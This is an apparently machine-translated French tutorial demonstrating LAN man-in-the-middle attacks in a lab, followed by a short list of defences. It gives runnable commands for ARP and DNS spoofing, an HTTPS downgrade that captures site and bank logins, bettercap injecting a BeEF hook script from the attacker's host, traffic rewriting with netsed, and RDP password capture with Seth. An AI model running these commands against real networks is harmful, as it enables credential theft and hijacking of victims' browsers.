Intercepter des informations sensibles? Obtenez un accès non autorisé à diverses applications et systèmes? Perturber le fonctionnement normal? Tout cela et bien plus encore effectuent des attaques comme Man in the Middle.
Aujourd'hui, nous continuons la série d'articles consacrés aux attaques de «l'homme au milieu» (et un certain nombre d'autres) sur des protocoles et des canaux de transmission typiques de presque toutes les entreprises. Considérez les niveaux d'intérêt beaucoup plus importants pour l'attaquant: du réseau à l'application.
Intéressé par? Bienvenue au chat.
N'oubliez pas
Ainsi, dans l'article précédent, nous nous sommes concentrés sur les attaques d'usurpation dans les environnements filaires et sans fil, en montrant les techniques de surveillance des demandes et des réponses aux serveurs DNS. Le DNS a été choisi pour une raison - c'est l'un des principaux objectifs. Pourquoi? Tout est simple - presque toutes les sessions commencent maintenant par une demande d'adresse IP de l'hôte cible sur les serveurs DNS.
Aujourd'hui, nous allons montrer des attaques "sur cuivre", mais pour le même Wi-Fi, pratiquement rien ne change, sauf quelques nuances. Nous omettons l'insertion dans l'optique, car ce vecteur d'attaques est très coûteux et nécessite un équipement spécial.
Pour commencer, nous nous intéressons à l'interception «invisible» des requêtes DNS. J'utiliserai quelques-uns des utilitaires suivants:
DNS2Proxy (l'utilitaire existe depuis de nombreuses années, mais il est toujours assez prêt au combat) et
arpspoof (également pas jeune).
Nous lançons:
# arpspoof -r 192.168.180.254 192.168.180.1 // IP – , - # python2 dns2proxy.py -u 192.168.180.253 // -u IP-, # iptables -t nat -A PREROUTING -i enp14s0 –p udp --dport 53 -j DNAT --to-destination 192.168.180.253:53
Voyons maintenant comment cela affecte la machine de la victime en effectuant nslookup sur n'importe quel domaine:
Eh bien, la victime reçoit l'adresse IP hôte requise par l'attaquant, probablement l'adresse IP locale du périphérique à partir duquel l'attaque se développe. La capture d'écran montre également que le client croit qu'un serveur DNS légitime lui répond, ce qui, bien sûr, est un peu faux. En fait, la fonctionnalité de l'utilitaire DNS2Proxy est assez large: vous pouvez spécifier des domaines spécifiques pour l'usurpation d'identité, ou vous pouvez, au contraire, tout usurper en ajoutant certains aux exceptions.
Et ensuite? Et puis nous devons déployer un serveur Web «proxy» qui établira 2 connexions: l'un est un «proxy» <> un nœud légitime sur le réseau, et le second est une victime «proxy» <>. Nous utiliserons
SSLsplit .
Nous lançons:
# sslsplit –l 2000 # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:2000
Nous vérifions ce qui se passera si nous essayons de passer à un portail automobile, par exemple,
drom.ru :
Et nous avons une connexion non protégée! Mais avec la mise en garde: wwww et webmy.drom.ru ont été ajoutés en tant que sous-domaine au lieu de my.drom.ru. Essayons de nous connecter, après avoir utilisé un utilitaire pour afficher le trafic de transit sur le périphérique de l'attaquant. J'utiliserai des
net-creds . Nous regardons ce qu'il affiche dans la console:
Et nous avons un nom d'utilisateur / mot de passe, super!
La question se pose probablement: "Quelle est la différence avec l'article précédent?" La différence est que sans ces manipulations, une connexion HTTPS est établie, ce qui rend presque impossible l'interception de comptes. Il s'agit de la soi-disant «attaque de rétrogradation».
Tout de même fonctionnera même avec les banques et autres ressources:
Mais cela
ne vaut
PAS la peine de blâmer les banques de cette façon, l'utilisateur peut être «piraté». Ils ne peuvent rien faire ici, car l'attaque dépasse de loin leur périmètre! La banque n'est
PAS à blâmer! De plus, ils utilisent tous 2FA, ce qui réduit légèrement le risque d'accès.
Remarque: de cette façon, même HSTS (HTTP Strict Transport Security) est contourné, mais pas pour toutes les ressources (ce que je pense, tout ou presque tout le monde ici connaît déjà). Un certain nombre de navigateurs conservent une liste de domaines avec lesquels une connexion via TLS est requise, et une telle attaque contre eux est impuissante. L'exemple le plus simple est
google.com , et la liste complète de Chromium est
ici . Firefox et Chrome / Chromium ne créeront pas de connexion HTTP avec lui, protégeant ainsi l'utilisateur. Cependant, si un attaquant parvient à ajouter en quelque sorte «son» certificat auto-signé aux autorités de certification racine de confiance ou, pire encore, de confiance, rien ne sera utile, tout simplement parce que le navigateur et le système les considéreront initialement comme complètement légitimes et ne produiront aucune erreur. pendant leur traitement. Le cas des autorités de certification racine de confiance est particulier: cela vous permettra de générer un certificat pour chaque domaine à la volée (c'est ainsi que fonctionnent généralement DLP et d'autres outils de protection qui analysent le trafic), ce qui vous permet d'analyser toute connexion HTTPS sans aucun problème ni notification du navigateur.
Tous les outils répertoriés ci-dessus sont déjà obsolètes, car ils utilisent Python2, dont la prise en charge cessera bientôt. Vous pouvez utiliser n'importe quel analogue, par exemple,
bettercap , qui est un «moissonneur» de divers outils et remplit toutes les mêmes fonctions énumérées ci-dessus, ainsi que plusieurs autres. Seul commentaire sur son travail: les dernières versions ne veulent pas «résoudre» tous les domaines par défaut, il faut en spécifier des spécifiques. Cependant, pour les "vraies" attaques, cela suffit pour les yeux et aide même à ne pas ouvrir à l'avance.
Qu'est-ce que MitM permet d'autre? Importez JS aka XSS. Et puis un large champ de créativité. Commençons par utiliser bettercap et
boeuf :
In bettercap comprennent:
# set arp.spoof.targets 192.168.180.254 # arp.spoof on # set http.proxy.sslstrip true # set http.proxy.injectjs http://192.168.180.253:3000/hook.js # http.proxy on
Si nous voulons être implémentés sur les pages HTTPS, nous configurons également dns.proxy. Dans le cadre de la démo, je ne gérerai que HTTP.
Allez sur
diary.ru et observez ce qui suit dans le débogueur:
Voyons comment les choses se passent dans l'interface Web de boeuf:
En fait, nous avons terminé, nous sommes «dans le navigateur». 2 sessions ont été créées, probablement parce que j'ai ouvert une autre page en arrière-plan, mais ce n'est pas un problème. Maintenant, vous pouvez commencer à
créer un gâchis pour collecter des informations, développer une attaque, dans certains cas, ouvrir un shell ou tout simplement le mien. Une partie des fonctionnalités possibles est présentée dans la capture d'écran du tableau «Arborescence des modules». Pour le test, exécutez la réception de l'empreinte digitale du navigateur:
Cependant, les développeurs de navigateurs ne sont pas stupides et essaient de couvrir divers "trous" qui permettent d'accéder d'un simple clic de doigt. D'un autre côté, un tel accès peut grandement faciliter la poursuite de la consolidation sur l'hôte attaqué.
Passons à la dernière attaque d'aujourd'hui - l'usurpation de données. En général, cette attaque s'appuie sur un article distinct, elle peut être utilisée même lors du transfert d'images de machines virtuelles pour y accéder (peut-être que je vais un jour révéler ce sujet plus en détail), mais maintenant nous allons effectuer une courte démonstration, par exemple, sur le site Web
pasted.co - la ressource la plus simple, permettant un certain temps pour donner accès à toute information textuelle. Pour l'attaque, nous utilisons un
filet .
Nous lançons:
# netsed tcp 4000 0 0 s/Hello/HACKED/o # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:4000 # arpspoof -r 192.168.180.254 192.168.180.1
Sur le nœud attaqué, allez sur pasted.co, écrivez notre 'Bonjour', envoyez-le, obtenez un lien, ouvrez-le et voyez notre 'HACKED'. Un exemple est simple, mais, je pense, imaginer qu'en principe, il est possible de mettre en œuvre une telle attaque n'est pas difficile.
Quelques mots sur RDP et MitM
Il y a un utilitaire aussi intéressant appelé
Seth et, en fait, c'est un tas de aprspoof et sslstrip, mais pour RDP. L'essentiel est simple: lors de l'accès au port 3389, Seth agit de manière similaire à sslstrip et établit sa propre connexion au nœud cible. L'utilisateur entre les informations d'identification ... et vous pouvez vous arrêter là.
Nous lançons:
# ./seth.sh enp14s0 192.168.180.253 192.168.180.254 192.168.180.1
Nous commençons sur le client RDP, nous nous connectons à n'importe quel hôte RDP (je me suis connecté au serveur en dehors du réseau 192.168.180.0/24) et entrons dans le compte. Personnellement, après cette étape, j'ai détecté une erreur à chaque fois, bien que l'utilitaire devrait proxy la connexion, mais il a fait la partie la plus importante du travail:
Le rectangle en surbrillance avait un mot de passe clair.
Se défendre
- Utilisez toutes les mesures indiquées dans notre article précédent . Ça aide vraiment! J'ajouterai séparément l'inclusion de l'espionnage DHCP, ce qui nous permettra de filtrer les serveurs DHCP illégitimes, ce qui peut amener le client à envoyer toutes les demandes à l'hôte de l'attaquant, en évitant l'usurpation d'arp.
- Si possible, utilisez des extensions comme HTTPS partout. Il sera automatiquement redirigé vers la version https du site s'il est inclus dans sa base de données, ce qui évite la rétrogradation HTTPS.
- Pour DNS, vous pouvez utiliser DNS sur TLS / DNS sur HTTPS ou DNSCrypt. Les outils ne sont pas parfaits, le support peut être assez douloureux, mais dans certains cas, c'est une bonne mesure de protection.
- Apprenez et apprenez à votre famille, vos amis et vos collègues à faire attention à la barre d'adresse: c'est important! wwww.drom.ru, les notifications concernant une connexion non protégée sur une ressource auparavant «sans tracas» sont souvent un signe certain d'une sorte d'anomalie dans le réseau.
Faites attention aux anomalies dans les sessions RDP: un certificat modifié de manière inattendue est un mauvais signe.
C'est tout pour l'instant. Ou pas? Amis, j'aimerais savoir de vous, mais êtes-vous intéressé par l'attaque de l'hyperviseur et la migration des machines? Ou une injection dans des fichiers PE? En attente de vos commentaires et questions!